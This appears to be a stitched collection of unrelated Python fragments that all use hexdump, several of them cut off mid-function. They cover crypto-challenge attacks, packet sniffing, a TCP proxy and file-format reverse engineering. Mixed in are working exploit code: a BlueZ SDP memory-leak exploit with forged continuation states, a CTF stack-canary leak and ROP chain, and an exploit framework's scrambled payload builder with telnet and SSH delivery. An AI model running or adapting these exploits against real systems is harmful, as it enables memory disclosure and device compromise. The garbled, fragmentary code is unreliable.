def main(options,args): # Read command line parameters filename = options.challenge_filename plaintext = options.plaintext mode = options.mode iv = unhex(options.iv) key = unhex(options.key) key_size = len(key) if mode == 'e': print ('Plaintext: {}'.format(plaintext)) print ('Key size: {}'.format(key_size)) print ('Key: {}'.format(key.encode('hex'))) print ('IV: {}'.format(iv.encode('hex'))) cipher_text = aes_cbc_encrypt(plaintext, key, iv) hexdump(cipher_text) else: # decrypt mode # Read command line parameter specifying challenge file challenge_filename = options.challenge_filename # Actual challenge # Read entire file and base64 decode with open(filename, 'r') as challenge_file: challenge_file_contents = challenge_file.read() # We should now have a copy of the raw cipher text decoded_b64_challenge = b64d(challenge_file_contents) print ('File name: {}'.format(filename)) print ('Key size: {}'.format(key_size)) print ('Key: {}'.format(key.encode('hex'))) print ('IV: {}'.format(iv.encode('hex'))) print ('Mode: {}'.format(mode)) plaintext = aes_cbc_decrypt(decoded_b64_challenge, key, iv) print(plaintext)
def OnDumpMemory(start, stop) : buf = '' start = int(start,16) stop = int(stop,16) size = stop - start #print start, stop cur_addr = start ''' if not isValidDword(start) or not isValidDword(stop): logger.error('Invalid memory range specified') return ''' #if size >= 0x10000: # print "Max Dump Size is 0xffff" dumpsize = 0 while cur_addr < stop: if size > 0xc7 : res = GdbCommand('m%08x,00c7'%(cur_addr)) dumpsize += 0xc7 size -= dumpsize else: res = GdbCommand('m%08x,%04x'%(cur_addr, size)) dumpsize += size logger.info('Dumping at 0x%08x len 0x%08x'%(cur_addr, len(res))) cur_addr += dumpsize buf += res print hexdump(buf) return buf
def main(options, args): BYTE = 8 KEY_SIZE = 128 / BYTE # bits ''' unknown_string to be append to plaintext and we need to figure out its contents''' unknown_string = b64d( 'Um9sbGluJyBpbiBteSA1LjAKV2l0aCBteSByYWctdG9wIGRvd24gc28gbXkgaGFpciBjYW4gYmxvdwpUaGUgZ2lybGllcyBvbiBzdGFuZGJ5IHdhdmluZyBqdXN0IHRvIHNheSBoaQpEaWQgeW91IHN0b3A/IE5vLCBJIGp1c3QgZHJvdmUgYnkK' ) plaintext = unknown_string # if not options.plaintext: # Did user specify plaintext? # plaintext = common.get_random_sentences(48) # else: # plaintext = options.plaintext key = common_crypt.get_random_byte_string(KEY_SIZE) key_size = len(key) message_size = len(plaintext) print('Sending uknown message to ecb byte decryptor') #hexdump(plaintext) print('Plaintext size: {}'.format(len(plaintext))) print('Key size: {}'.format(key_size)) print('Message size: {}'.format(message_size)) print('Key: {}'.format(key.encode('hex'))) guessed_unknown = do_ecb_byte_decryption(plaintext, key) if guessed_unknown: print('Decipher uknown message is:') hexdump(guessed_unknown)
def doEncryption(message, fake_message_size=None): doMode('E') if fake_message_size is not None: message_size = fake_message_size else: message_size = len(message) #Specify message size as little endian 8(d) = \x08\x00\x00\x00 encryption_size_bytes = p32(message_size) #Use p32, p64, or pack print('Sending message size as bytes\n{}'.format( encryption_size_bytes.encode('hex'))) print('Sending message size as bytes\n{}'.format( unpack(encryption_size_bytes))) #Specify size of message to be encrypted io.send(encryption_size_bytes) #Generate message and send print('Sending message\n{}'.format(hexdump(message))) io.send(message) data = io.recvregex('your file --]\n') log.info(data) #Server sends message size as 4 bytes little endian data = io.recvn(4) log.info('Received encrypted message size as bytes\n{}'.format( data.encode('hex'))) log.info('Size in integer\n{}'.format(unpack(data))) encrypted_message = io.recvn(message_size) log.info('Received encrypted message\n{}'.format( hexdump(encrypted_message))) return encrypted_message
def main(options, args): # Read command line parameters plaintext = options.plaintext key_size = options.key_size print('Plaintext: {}'.format(plaintext)) print('Key size: {}'.format(key_size)) padded_message = set_padding(plaintext, key_size) hexdump(padded_message)
def telnet_monitor(user_filter, ifname): # 捕获过滤器匹配的流量, 对流量进行解码 PTKS = sniff(prn=telnet_monitor_callback, filter=user_filter, store=1, iface=scapy_iface(ifname), timeout=60) wrpcap("telnet.cap", PTKS) # 保持捕获的数据包到文件 hexdump(string) # 解码展示
def main(options, args): # Read command line parameter specifying challenge file challenge_filename = options.challenge_filename # Actual challenge # Read entire file and base64 decode with open(challenge_filename, 'r') as challenge_file: challenge_file_contents = challenge_file.read() # We should now have a copy of the raw cipher text decoded_b64_challenge = b64d(challenge_file_contents) guessed_keysize = get_guessed_keysize(decoded_b64_challenge) total_blocks = len(decoded_b64_challenge) / guessed_keysize print 'Total cipher length {}, key size {}, broken up into blocks of {}'.format( len(decoded_b64_challenge), guessed_keysize, total_blocks) ''' Transpose cipher text blocks which represent blocks enrypted with a key into blocks that represent a single byte of the key. key size 3. Cipher text = abc def ghi jkl. New transposed blocks would be adgj behk cfil. So transposed block 0 (adgj) would have been encrypted with key byte 0 ''' single_key_byte_blocks = [] # Need to split cipher into blocks. If cipher message is hex string format # then they need to be split in pairs like 'ab' 'af' '41' if is_hex_string(decoded_b64_challenge): single_key_byte_blocks = convert_hexstring_to_key_blocks( decoded_b64_challenge, guessed_keysize) else: single_key_byte_blocks = convert_bytes_to_key_blocks( decoded_b64_challenge, guessed_keysize) decrypted_key_byte_blocks = [] key = '' for key_block in single_key_byte_blocks: b = crack_xor_message_frequency(key_block) decrypted_key_byte_blocks.append(b['message']) # print 'Key hex {} ascii {}'.format(hex(b['key']), chr(b['key'])) key += chr(b['key']) print 'Key {}'.format(str(key)) hexdump(''.join( numpy.array(list( itertools.izip(*decrypted_key_byte_blocks))).flatten())) decrypted_message = ''.join( numpy.array(list( itertools.izip(*decrypted_key_byte_blocks))).flatten()) print decrypted_message
def main(options, args): # Going to prepend and append 5-10 random bytes before and after plaintext rand_prepend = common_crypt.get_random_byte_string(random.randrange(5, 11)) rand_append = common_crypt.get_random_byte_string(random.randrange(5, 11)) plaintext = rand_prepend + options.plaintext + rand_append mode = options.mode key = common_crypt.get_random_byte_string(16) key_size = len(key) message_size = len(plaintext) if mode == 'e': # Encrypt hexdump(plaintext) print('Plaintext size: {}'.format(len(options.plaintext))) print('Key size: {}'.format(key_size)) print('Message size: {}'.format(message_size)) print('Key: {}'.format(key.encode('hex'))) if random.randrange(1, 3) == 1: # Do ecb mode print('Using ECB mode') # AES object. Will be used multiple times encobj = AES.new(key, AES.MODE_ECB) plaintext = common_crypt.set_padding(plaintext, key_size) print('Plaintext with padding') hexdump(plaintext) cipher_text = encobj.encrypt(plaintext) print('Cipher text size: {}'.format(len(cipher_text))) else: # do cbc mode iv = common_crypt.get_random_byte_string(16) print('IV: {}'.format(iv.encode('hex'))) print('Using CBC mode') plaintext = common_crypt.set_padding(plaintext, key_size) print('Plaintext with padding') hexdump(plaintext) cipher_text = common_crypt.aes_cbc_encrypt(plaintext, key, iv) print('Cipher text size: {}'.format(len(cipher_text))) hexdump(cipher_text) # Did we detect ecb mode? ecb_detected = common_crypt.is_ecb_mode(cipher_text, key_size) if ecb_detected: print( 'We may have detected ecb mode here: {}'.format(ecb_detected)) else: # decrypt mode # Read command line parameters filename = options.challenge_filename # Actual challenge # Read entire file and base64 decode with open(filename, 'r') as challenge_file: challenge_file_contents = challenge_file.read() # We should now have a copy of the raw cipher text decoded_b64_challenge = b64d(challenge_file_contents) print('File name: {}'.format(filename)) print('Key size: {}'.format(key_size)) print('Key: {}'.format(key.encode('hex'))) print('IV: {}'.format(iv.encode('hex'))) print('Mode: {}'.format(mode)) plaintext = aes_cbc_decrypt(decoded_b64_challenge, key, iv) print(plaintext)
def OnSearchMem(addr, pattern) : cur_addr = int(addr,16) buf = '' i = 0 while True: i += 1 mem = GdbCommand('m%08x,00c7'%(cur_addr)) buf += mem if i %1000 == 0: print "Searching... " + hex(cur_addr) print hexdump(mem.decode('hex')) if pattern in buf: print 'FOUND at {}'.format(hex(cur_addr)[2:]) return cur_addr += 0xc7
def encrypt(self, plain_text, iv): assert len(iv) == 16 plain_text = pad(plain_text) assert len(plain_text) % BLOCK_SIZE == 0 cipher_text = '' aes = AES.new(self.key, AES.MODE_ECB) h = iv hexdump(plain_text) for i in range(len(plain_text) // BLOCK_SIZE): block = plain_text[i * 16:i * 16 + 16] block = xor(block, h) cipher_block = aes.encrypt(block) cipher_text += cipher_block h = md5(cipher_block).digest() return iv + cipher_text
def generate_patterns(): list_of_key_items = string.lowercase[:] #list_of_key_items = ['0','1'] for keysize in range(min_keysize, max_keysize): for key in get_key(list_of_key_items, keysize): print ''.join(key) for keysize in range(2, 41): # Position file read pointer cipher_text = decoded_b64_challenge[:keysize] print keysize hexdump(cipher_text) cipher_text_hexstring = binascii.hexlify(cipher_text) print cipher_text_hexstring cipher_text_binary = get_binary_from_hexstring(cipher_text_hexstring) print cipher_text_binary
def display_raw_pcap(symbols): if utilities.globalvars.NETWORK: pcap_list = [] for PCAPFile in utilities.globalvars.PCAPFiles: pcap_list.append(rdpcap(PCAPFile)) tempstdout_list = [] for i, pcap in enumerate(pcap_list): old_stdout = sys.stdout tempstdout_list.append(io.StringIO()) sys.stdout = tempstdout_list[i] pcap.hexdump() sys.stdout = old_stdout buffer = "" for i, tempstdout in enumerate(tempstdout_list): buffer += "<----------------------------------------PCAP " + str( i ) + " :-------------------------------------->\n" + tempstdout.getvalue( ) + "\n" else: old_stdout = sys.stdout tempstdout = [] i = 0 for PCAPFile in utilities.globalvars.PCAPFiles: tempstdout.append(io.StringIO()) sys.stdout = tempstdout[i] file = open(PCAPFile, 'rb') file_buffer = b'' for line in file: file_buffer += line file.close() hexdump(file_buffer) sys.stdout = old_stdout i += 1 buffer = "" for i, out in enumerate(tempstdout): buffer += "<----------------------------------------FILE " + str( i ) + " :-------------------------------------->\n" + out.getvalue( ) + "\n" # Print buffer in a pager click.echo_via_pager(buffer) # Print buffer in tkinter window tkinter_window(buffer) pcap_exchange_menu(symbols)
def authentication(self, cookie): cookie = b64decode(cookie) name = cookie[:16] name = xor(name, md5(__HIDDEN__).digest()) if ord(name[-1]) < 16: name = unpad(name) aescnv = AES_CNV(self.key) print hexdump(cookie) cookie = aescnv.decrypt(cookie) print hexdump(cookie) info = cookie.split("*") if info[0] != "CNVService": return None, None, None elif info[-1] != __SECRET__: return None, None, None elif "user="******"=")) == 2: return name, info[1].split("=")[1], info[2] else: return None, None, None
def proxy_handler(self, client_socket, remote_host, remote_port, receice_first): remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote_socket.connect((remote_host, int(remote_port))) if receice_first: remote_buffer = self.receive_from(client_socket) hexdump(remote_buffer) if len(remote_buffer): print '[<==] Sending %d bytes to localhost' % len(remote_buffer) client_socket.send(remote_buffer) while True: local_buffer = self.receive_from(client_socket) if len(local_buffer): print '[*] Received %d bytes from localhost' % len(local_buffer) hexdump(local_buffer) remote_socket.send(local_buffer) print '[==>] Send to remote' remote_buffer = self.receive_from(remote_socket) if len(remote_buffer): print '[*] Received %d bytes from remote' % len(remote_buffer) hexdump(remote_buffer) client_socket.send(remote_buffer) print '[<==] Send to localhost' if not len(local_buffer) or not len(remote_buffer): client_socket.close() remote_socket.close() print '[*] No more data. Closing connection' break
def unpack3AZipFile(f,outDir=None): bf = os.path.basename(f); if outDir ==None: outDir = os.path.dirname(f) else: df = os.path.join(outDir, bf) if not fileExist(df): cmd = f'cp {f} {outDir} ' print(runCmd(cmd)) bs= open(f,'rb').read() info = get3AZipPackedFileInfo(f) knowNames = [f for f in open('names').read().splitlines()] for t, item in enumerate(info): print(item) crc = item['crc'] off = item['off'] le = item['len'] foundName = False for name in knowNames: if eval(crc) == getFileCrc(name): foundName=True; break if foundName: df = os.path.join(outDir, f'{bf}.files', name) info[t]['name']=name else: df = os.path.join(outDir, f'{bf}.files', f"{crc}.bin") createDirForFn(df) print(off, le, len(bs)) fileBs = bs[off:off+le] fileContent = decryptBs(fileBs) hexdump(fileContent[:0x10]) print(le, hex(le)) act_len = struct.unpack('I',fileContent[:4])[0] #assert struct.unpack('I', fileContent[:4])[0] == le-0x10, 'decrypt file failed ' open(df,'wb').write(fileContent[0x10:0x10+act_len]) infofn = os.path.join(outDir, f'{bf}.json') saveJson2File(info,infofn) return info;
def dewrapper(blob, prepend='', startpos=0): """ This looks for the string : 01 46 00 01 | 0X 00 00 00 | 01 03 00 03 | 00 00 YY 09 where X is either 1 or 2 and YY is either 34 or 48 in wrapper sections then prints what follows. These sections seem to come in pairs (a 1 followed by a 2) they also seem to carry fairly similar payloads """ off = 12 # the first 3 32b words are copied directly if len(blob) < 12: hexdump(blob, '*') return print str(startpos) + " " + str(off) current_four = [0,] + list(unpack('>III', blob[:off])) section = 0 current_start = 0 while off < len(blob): current_four.pop(0) current_four.append(unpack('>I', blob[off:off + 4])[0]) # # print current_four if current_four == [0x01460001,0x01000000,0x01030003,0x00003409] or \ current_four == [0x01460001,0x02000000,0x01030003,0x00003409] or \ current_four == [0x01460001,0x01000000,0x01030003,0x00004809] or \ current_four == [0x01460001,0x02000000,0x01030003,0x00004809]: hexdump(blob[current_start: off - 12], "w%d." % section, startpos + current_start) current_start = off + 4 # where the next block starts print "%08x %08x %08x %08x" % (current_four[0],current_four[1], current_four[2], current_four[3]) print "Subsection %d at position %04x" % (section, current_start) current_four = [None, None, None, None] section += 1 off += 4
def doEncryption(message, fake_message_size=None): doMode('E') if fake_message_size is not None: message_size = fake_message_size else: message_size = len(message) #Specify message size as little endian 8(d) = \x08\x00\x00\x00 encryption_size_bytes = p32(message_size) #Use p32, p64, or pack print 'Sending message size as bytes\n{}'.format(encryption_size_bytes.encode('hex')) print 'Sending message size as bytes\n{}'.format(unpack(encryption_size_bytes)) #Specify size of message to be encrypted io.send(encryption_size_bytes) #Generate message and send print 'Sending message\n{}'.format(hexdump(message)) io.send(message) data = io.recvregex('your file --]\n') log.info(data) #Server sends message size as 4 bytes little endian data = io.recvn(4) log.info('Received encrypted message size as bytes\n{}'.format(data.encode('hex'))) log.info('Size in integer\n{}'.format(unpack(data))) encrypted_message = io.recvn(message_size) log.info('Received encrypted message\n{}'.format(hexdump(encrypted_message))) return encrypted_message
def proxy_handler(client_socket, remote_host, remote_port, receive_first): # connect to the remote host remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote_socket.connect((remote_host, remote_port)) # receive data from the remote end if necessary if receive_first: remote_buffer = receive_from(remote_socket) hexdump(remote_buffer) # send it to response buffer remote_buffer = response_handler(remote_buffer) # if we have data to send to local client, send it if len(remote_buffer): print('[<==] Sending %d bytes to localhost.' % len(remote_buffer)) client_socket.send(remote_buffer) # no loop and read from local while True: # read from local host local_buffer = receive_from(client_socket) if len(local_buffer): print('[==>] Received %d bytes from localhost.' % len(local_buffer)) hexdump(local_buffer) # send to request handler local_buffer = request_handler(local_buffer) # send data to remote host remote_socket.send(local_buffer) print('[==>] Sent to remote.')
print "%s: <filename.mol>" % (sys.argv[0]) filename = sys.argv[1] fh = open(filename, 'rb') s = os.stat(filename) filesize = s.st_size blob = fh.read(filesize) fh.close() # header stuff? print "header:" header = blob[0:512] hexdump(header, 'header ', 0) print "sections at:", sections = unpack("4I", header[0x70:0x70 + (4*4)]) print sections, print ["%04x" % (s * 512) for s in sections] print # something at 0x200 # print "next stuff:" # stuff = blob[0x200:0x200 + 512] ## hexdump(stuff, 'header2 ', 0x200) # print # start at offset 0x400 #
from scapy.all import * from scapy.utils import * from hexdump import * packets = rdpcap('net.pcap') #print packets.summary() for packet in packets: if packet.getlayer(Raw): print '[+] Found Raw' + '\n' l = packet.getlayer(Raw).load print hexdump(l) print "finished"
import os, sys from hexdump import * from Crypto.Cipher import AES # Secure CTR mode encryption using random key and random IV, taken from # http://stackoverflow.com/questions/3154998/pycrypto-problem-using-aesctr for i in xrange(1, 10): print hexdump(os.urandom(16)) print hexdump(os.urandom(32))
if info[0] != "CNVService": return None, None, None elif info[-1] != __SECRET__: return None, None, None elif "user="******"=")) == 2: return name, info[1].split("=")[1], info[2] else: return None, None, None key = Random.new().read(BLOCK_SIZE) cookie = Cookie(key) decode = lambda x: hexdump(x) class RemoteCookie(object): def recvuntil(self, x): d = '' while x not in d: c = self.s.recv(1) if c == '': print d print 'socket error' exit() d += c return d def __init__(self):
resp1 = sock.recv(mtu) # Parse the recieved contiunation state cont_state = resp1[-8:] host_timestamp = int.from_bytes(cont_state[:4], byteorder='little') print("Extracted timestamp:", hex(host_timestamp)) # Create malicious SDP requests by adding forged continuation state received_data = b'' offset = 65535 print("Dumping", offset, "bytes of memory...") while offset > 0: print("Sending SDP req, offset:", offset) req2 = SDP_ServiceSearchAttributeRequest( search_pattern=[0x35, 0x03, 0x19, 0x01, 0x00], attr_id_list=[0x35, 0x05, 0x0a, 0x00, 0x00, 0x00, 0x01], max_attr_byte_count=65535) forged_cont_state = BlueZ_ContinuationState(timestamp=host_timestamp, maxBytesSent=offset) req2 = req2 / forged_cont_state sock.send(bytes(req2)) data = sock.recv(mtu) data = data[7:] # Remove SDP params data = data[:-9] # Remove continuation state received_data = data + received_data offset -= len(data) if len(data) > 0 else 1 print(hexdump(received_data))
def chunker(blob, prepend, startpos, stats=True): off = 0 while off < len(blob): dump = True typea, typeb, nullqq, size = unpack('BBBB', blob[off: off + 4]) print "%02x %02x %02x %02x" % (typea, typeb, nullqq, size) if size == 0x80 and (typea, typeb) != (0x46, 0x09) : # next word is actual size new_size = unpack("<I", blob[off+4:off+8])[0] print "size fixup: 0x%02x (%d) -> %d" % (size, size, new_size) size = new_size + 1 # to take into account of the size word it's self. # this might actually be typeb == 0x09 only, thats how i used # to have it (iirc). if (typea, typeb, nullqq, size) == (0x46, 0x09, 0x00, 0x80): new_size = unpack("<I", blob[off+4:off+8])[0] + 1 print "size fixup: 0x%02x (%d) -> %d" % (size, size, new_size) size = new_size print "="*35 + " starts " + "="*35 + "\n" chunker(blob[off + 8:off + 8 + (new_size * 4) - 4], 's>' + prepend, startpos + off + 8) print "="*35 + " ends " + "="*35 + "\n" dump = False # for section 0 (starts at 0x200) we don't know how to end # for the moment just stop parsing when we hit all zeros # # 48 06 20 00 <-- might be "end of section 0" # if (typea, typeb, nullqq, size) == (0,0,0,0): break if (typea, typeb, nullqq, size) == (0x00, 0x60, 0x02, 0x03): # word 2 or 3 changes with speed changes print "speed related" if (typea, typeb, nullqq, size) == (0x01, 0x03, 0x00, 0x03): # word 3 or 2 and 3 change print "speed related" if (typea, typeb) == (0x06, 0x06): print "mc_set_laser_mode??" if (typea, typeb) == (0x01, 0x46): print "mc_set_ramp_flag??" if (typea, typeb) == (0x01, 0x03): print "mc_set_vector_profile??" if (typea, typeb) == (0x00, 0x60): print "mc_fast_line2??" if (typea, typeb) == (0x06, 0x0b): print "mc_set_common_IO??" if (typea, typeb, nullqq) == (0x46, 0x0e, 0x00): print "laser power control", args = blob[off+4:off + 8 + (size * 4)] power = args[0:8] power = unpack("II", power) power = [p / 100.0 for p in power] print power # hexdump(args, prepend, startpos + off) if (typea, typeb, nullqq, size) == (0x48, 0x00, 0x30, 0x01): section = unpack('I', blob[off + 4:off + 8])[0] print "start section %d" % (section) if prepend == None: prepend = 's%d>' % (section) if (typea, typeb, nullqq, size) == (0x48, 0x00, 0x40, 0x01): print "end section %d at 0x%04x" % (unpack('I', blob[off + 4:off + 8])[0], startpos + off+8) print "="*75 + "\n" off += 4 off += size * 4 break if size > 0 and dump: hexdump(blob[off:off + 4 + (size * 4)], prepend, startpos + off) if stats: update_stats(typea, typeb, nullqq, size) off += 4 off += size * 4 return startpos + off
## payloader = Payload(params) if not payloader.load_version_module(): print "unsupported target version!" print " (are you sure you did \"make [version]\" in versions?)" sys.exit(1) payload = payloader.get_payload() if len(payload) == 0: print "failed to create version-specific payload!" sys.exit(1) if params.verbose: print "payload prepared" if params.debug: print "sending (" + str(len(payload)) + ") " hexdump(payload, 16) if params.pretend: print "--pretend mode on, aborting exploit" sys.exit(0) ## status = -1 if params.proto == "telnet": status = exploit_over_telnet(params, payload) elif params.proto == "ssh": status = exploit_over_ssh(params, payload) if status != -1: sys.exit(status)
def prepare_blocks(params, mask_byte, block1_decoder, cleanup, block_decoder, blocks_table, epba_exit, free_addrs, block, scramble_blks=range(2, 14)): # start with empties for blocks 0, 1 block_enc = ["", ""] mask_bytes = ["", ""] block_cksum = ["", ""] # transform block[N] into block_enc[N], for 2..14 for b in range(2, len(block)): if (len(block[b]) > MAX_BLOCK_SIZE): print "block %d is too large! (size = %d)" % (b, len(block[b])) return (False) if b in scramble_blks: done = False block_cksum.append(compute_checksum(block[b])) while not done: block_mask_byte = ord(rand_byte()) # one byte, used as an int #print "block " + str(b) + " mask 0x%02x" % block_mask_byte encoded = scramble(block[b], block_mask_byte) if not forbidden_bytes(encoded): done = True #else: #print "forbidden bytes found in encoded block[%d], try again" % b block_enc.append(encoded) mask_bytes.append(block_mask_byte) else: if forbidden_bytes(block[b]): print "Forbidden bytes in not-scrambled block %d" % b return False block_enc.append(block[b]) mask_bytes.append("") # start building block1 # the body does cleanup, decodes blocks, then calls payload, exits on return body = cleanup + block_decoder + epba_exit # create real blocks table (no longer using original blocks_table) new_blocks_table = "" for b in range(2, 14): # addr new_blocks_table += free_addrs[b] # len, cksum, mask stuff = "%02x%02x%02x%02x" % ( ((len(block_enc[b]) & 0xff00) >> 8), (len(block_enc[b]) & 0xff), block_cksum[b], mask_bytes[b]) new_blocks_table += unhexlify(stuff) # compute addr where table is tacked onto end of body base = int(hexlify(byterev(free_addrs[1])), 16) table_addr = base + len(block1_decoder) + len(body) table_addr = "%08x" % table_addr # append the table, will be found at table_addr body += new_blocks_table # fix addr in decode/checksum loop for start of the blocks table body = body.replace(unhexlify("c0edbabe"), byterev(unhexlify(table_addr)), 1) # now scramble the body block1_body = scramble(body, mask_byte) if forbidden_bytes(block1_body): print "forbidden bytes found in encoded block[1], try again" return ([]) # build and fix up the block1 decoder b1_decod = block1_decoder b1_decod = b1_decod.replace(unhexlify("c0edbabe"), free_addrs[1], 1) b1_decod = b1_decod.replace( unhexlify("deadbeef"), byterev(unhexlify(("%08x" % (len(block1_body) ^ 0xaaaaaaaa)))), 1) i = block1_decoder.rfind("\xaa") b1_decod = b1_decod[0:i] + chr(mask_byte) + b1_decod[i + 1:] # block one is now decoder plus encoded body block_enc[1] = b1_decod + block1_body # too much? if (len(block_enc[1]) > MAX_BLOCK_SIZE): print "block %d is too large! (size = %d)" % (1, len(block_enc[1])) return (False) # done, show me what I done if params.verbose: print "mask bytes: ", print "b%d:%02x;" % (1, mask_byte), for x in scramble_blks: print "b%d:%02x;" % (x, mask_bytes[x]), print if params.verbose: print "cksums: ", for x in scramble_blks: print "b%d:%02x;" % (x, block_cksum[x]), print if params.debug: for b in range(0, len(block_enc)): print "@%s: block_enc[%d] (%d b) = " % (hexlify( byterev(free_addrs[b])), b, len(block_enc[b])) hexdump(block_enc[b], 16) print return block_enc
s.send('root_auth\n') dat = "" for i in range(0,len(password)): dat += struct.pack('<B',password[i]) s.send(dat+'\n') print dat recvu(s,'>>>') s.send("root_auth\n") s.send(dat+'\n') recvu(s,'>>>') s.send("root_auth\n") s.send(dat+'\n') recvu(s,'>>>') s.send('echo '+"A"*0x3f+'\n') r = recvu(s,'>>>') print hexdump(r) canary = struct.unpack('<I','\x00'+r[0x41:0x44])[0] stack = struct.unpack('<I',r[0x44:0x48])[0]+0x63-0xc6 print hex(canary) print hex(stack) gadget = struct.pack('<I',0x08048d39) # pppr dat = "" dat +="AAAA" dat += "CCCCC" dat += struct.pack('<I',0x8048480) #write #dat += struct.pack('<I',0x41414141) dat += gadget dat += struct.pack('<I',1) dat += struct.pack('<I',0x804b028) dat += struct.pack('<I',4)
for character in result: if is_ascii(character): score += 1 if score > best_score: cracked_message = {'score': score, 'message': result, 'key': key} best_score = score return cracked_message if __name__ == '__main__': parser = OptionParser() parser.add_option("-f", "--file", dest="challenge_filename", help="file to encrypt") parser.add_option("-k", "--key", help="xor key to use") (options, args) = parser.parse_args() # Read command line parameter specifying challenge file challenge_filename = options.challenge_filename xor_key = options.key print "Opening challenge file {}".format(challenge_filename) print "XOR'ing with key {}".format(xor_key) # Open challenge file which should contain bunch of hex encoded lines with open(challenge_filename, 'r') as challenge: challenge_message = challenge.read().rstrip() print "{}".format(challenge_message) encrypted_message = xor(challenge_message, xor_key, cut='max') print "{}".format(hexdump(encrypted_message))
def syscallExit(threadId, std): global f, readbuf, instructionAddr, ctx, brch_unsat_cnt, brch_sat_cnt if readbuf is not None and getSyscallReturn(std) > 0: fd = readbuf['fd'] buf_base = readbuf['buf_base'] size = readbuf['size'] if size >= SSIZE_MAX: readbuf = None return arch = readbuf['arch'] try: buf_data = getMemoryBytearr(buf_base, size) if f is None: f = open(logfile + str(getPid()) + logext, 'a+') # (Under construction) Taint memory read via specific IP source f.write("[+] PID(%d): syscall%d read(%x, 0x%x, %d)\n%s\n" % (getPid(), arch, fd, buf_base, size, hexdump(bytes(buf_data), result='return')[0:1216]) ) #76 bytes per line (16 bytes shown x 16 lines) if ctx.isTaintEngineEnabled() is False: ctx.enableTaintEngine(True) f.write("[DEBUG] taintEngineEnabled\n") # if ctx.isSymbolicEngineEnabled() is False: # ctx.enableSymbolicEngine(True) # f.write("[DEBUG] sylbolicEngineEnabled\n") # Clear previous thing ctx.clearPathConstraints() ctx.concretizeAllMemory() ################# Start tainting and logging ################# # Iterate for each byte of memory (size in memoryaccess : CPU.SIZE!) offset = 0 while offset != size: ctx.taintMemory(buf_base + offset) concreteValue = getCurrentMemoryValue(buf_base + offset) ctx.setConcreteMemoryValue(buf_base + offset, concreteValue) ctx.convertMemoryToSymbolicVariable( MemoryAccess(buf_base + offset, CPUSIZE.BYTE)) offset += 1 f.write("[+] %d bytes tainted from the memory 0x%x\n" % (offset, buf_base)) # except Exception: # routineName = getRoutineName(instructionAddr) # f.write("[+] PID/RTN/ADDR : %d/%s/%x\nsyscall%d read(%x, 0x%x, %d) (Over SSIZE_MAX or Protected)\n" % # (getPid(), routineName, instructionAddr, arch, fd, buf_base, size)) # f.write("[+] syscall%d read(%x, 0x%x, %d) (Protected)\n" % # (arch, fd, buf_base, size)) # pass except TypeError: pass except: printExecInfo() finally: readbuf = None brch_unsat_cnt = 0 brch_sat_cnt = 0
import socket from datetime import datetime from hexdump import * PORT = 1319 BUFFER_SIZE = 1024 sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.connect(("8.8.8.8", 80)) host = sock.getsockname()[0] sock.close() sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind((host, PORT)) print(f"{host}:{PORT}") while True: data, addr = sock.recvfrom(BUFFER_SIZE) print(f"{datetime.now()}") hexdump(data) print("")